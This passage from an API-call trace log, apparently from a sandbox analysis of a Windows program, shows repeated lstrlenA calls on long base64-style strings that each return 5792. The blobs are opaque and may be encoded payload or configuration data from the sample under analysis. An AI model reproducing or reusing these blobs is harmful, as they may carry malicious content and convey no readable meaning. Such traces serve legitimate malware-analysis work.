7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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